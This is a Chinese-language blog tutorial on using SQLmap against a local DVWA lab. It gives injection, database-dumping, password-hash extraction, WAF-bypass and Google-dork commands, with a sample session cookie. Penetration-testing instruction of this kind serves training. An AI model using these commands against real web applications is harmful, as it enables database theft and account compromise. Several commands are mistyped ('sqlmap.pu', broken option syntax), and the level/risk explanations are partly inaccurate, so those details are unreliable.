【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

05-13 1530阅读

前言

SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。

SQLmap的下载及安装本文不再详述,下载链接:https://github.com/sqlmapproject/sqlmap

本文以DVWA作为靶场,留言板项目渗透实例可参考:留言板项目SQLmap渗透实例 | CSDN@秋说

本文分为目标、脱库、账号与其它四个部分进行讲解

文章目录

    • 前言
    • 目标
      • 1、单个URL、Cookie
      • 2、文件URL、POST
      • 脱库
        • 1、获取当前数据库版本
        • 2、获取当前数据库名称
        • 3、列出所有数据库
        • 4、列出指定数据库的所有表
        • 5、获取表中所有数据
        • 6、搜索库、表、字段
        • 7、绕过WAF
        • 账号
          • 1、获取所有数据
          • 2、显示当前用户
          • 3、检测是否为数据库管理员
          • 4、获取所有用户
          • 5、查看当前用户权限
          • 6、获取用户的密码(hash值)
          • 7、获取服务器主机名称
          • 8、显示正在运行的SQL语句
          • 9、以盲注方式获取web应用程序的管理员密码:
          • 其它

            目标

            1、单个URL、Cookie

            1)检测指定URL是否存在SQL注入漏洞:

            python sqlmap.py -u 目标URL
            

            2)设置Cookie参数,绕过Web应用程序的安全检查,检测是否含有SQL注入漏洞:

            python sqlmap.py -u 目标URL --cookie="cookie参数"
            

            实例如下:

            提取URL进行注入:

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            通过上图回显可以看到302定向到login.php,故需附上cookie

            由于控制台并不能回显PHP session,故通过bp抓包得到cookie:

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            security=low; PHPSESSID=blp5j1964tfgiov6iusv24m9uj
            

            故POC如下:

            python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"
            

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            结果如下:

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            说明存在SQL注入漏洞。


            2、文件URL、POST

            1)检测指定文件中的全部URL是否存在SQL注入漏洞

            python sqlmap.py -m 文件名
            

            实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说


            2)通过POST请求包进行SQL注入(Burp抓包),检测是否含有SQL注入漏洞

            python sqlmap.py -r POST请求包
            

            python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)
            

            实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说


            3)指定进行检测的数据库类型

            python sqlmap.py -u 目标URL -dbms 数据库类型
            

            -D 指定数据库

            -T 指定表

            -C 指定字段

            脱库

            在确定能够使用SQLmap进行注入后,可以进行脱库操作。

            1、获取当前数据库版本

            python sqlmap.py -u 目标URL -b
            

            实例如下:

            POC含有Cookie参数

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            回显如下:

            【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

            • Web应用程序技术:PHP版本为7.3.4,Nginx版本为1.15.11。
            • 后端数据库管理系统(DBMS):MySQL版本要求大于等于5.6,实际检测到的版本为5.7.26。

              2、获取当前数据库名称

              python sqlmap.py -u 目标URL --current-db
              

              实例如下:

              POC含有Cookie参数

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显可知当前数据库名称为dvwa:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              3、列出所有数据库

              python sqlmap.py -u 目标URL --dbs
              

              实例如下:

              图中的POC含有Cookie参数

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显如下,存在两个数据库,一个为dvwa,一个为information_schema

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              4、列出指定数据库的所有表

              python sqlmap.py -u 目标URL -D 数据库名称 --tables
              

              实例如下:

              这里列出dvwa数据库所有的表,POC含有Cookie参数

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显如下,两个表,一个为guestbook,一个为users:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              5、获取表中所有数据

              python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump
              

              实例如下:

              这里列出users所有的数据,POC含有Cookie参数

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              由于密码经过hash加密,SQLmap会通过不同的加密算法遍历每个字符串,将得到的hash值与数据库中的hash进行匹配:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              如图是使用md5加密后进行匹配得到密码的部分结果:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              结果如图:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              6、搜索库、表、字段

              python sqlmap.py -u 目标URL --search
              

              7、绕过WAF

              python sqlmap.pu -u 目标URL --tamper
              

              账号

              1、获取所有数据

              python sqlmap.pu -u 目标URL -a
              

              实例如下:

              POC包含cookie参数

              python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a
              

              结果如图:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              2、显示当前用户

              python sqlmap.pu -u 目标URL --current -user
              

              实例如下:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显如下,当前用户为admin:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              3、检测是否为数据库管理员

              python sqlmap.pu -u 目标URL --is-dba
              

              实例如下:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显如下:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              当前用户不是管理员

              4、获取所有用户

              python sqlmap.pu -u 目标URL --users
              

              5、查看当前用户权限

              python sqlmap.pu -u 目标URL --privileges
              

              实例如下:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显如下:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              当前权限为USAGE

              6、获取用户的密码(hash值)

              python sqlmap.pu -u 目标URL --passwords
              

              7、获取服务器主机名称

              python sqlmap.pu -u 目标URL --hostname
              

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              回显如下:

              【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

              8、显示正在运行的SQL语句

              python sqlmap.pu -u 目标URL --statements
              

              9、以盲注方式获取web应用程序的管理员密码:

              python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords
              

              其它

              1)不再询问确认:

              python sqlmap.pu -u 目标URL --batch
              

              2)指定请求方式:

              python sqlmap.pu -u 目标URL --method=GET
              

              3)随机UA:

              python sqlmap.pu -u 目标URL --random-agent
              

              4)自定义UA:

              python sqlmap.pu -u 目标URL --user-agent''
              

              5)自定义referer:

              python sqlmap.pu -u 目标URL --referer''
              

              6)指定代理:

              python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"
              

              7)指定线程数(由1至10):

              python sqlmap.pu -u 目标URL --threads 10
              

              8)使用搜索功能来查找漏洞:

              python sqlmap.py -u 目标URL --google-dork "inurl:php?id="
              

              9)指定测试等级(由1至5):

              python sqlmap.pu -u 目标URL --level=1
              

              10)指定风险等级(由0至3):

              python sqlmap.pu -u 目标URL --risk=1
              
              level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下:
              1级别:只做最基本的测试,速度最快。
              2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。
              3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。
              4级别:比较耗时,会进行一些额外的测试和检测。
              5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。
              risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下:
              0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。
              1级别:测试所有普通的注入点。
              2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。
              3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。
              
VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]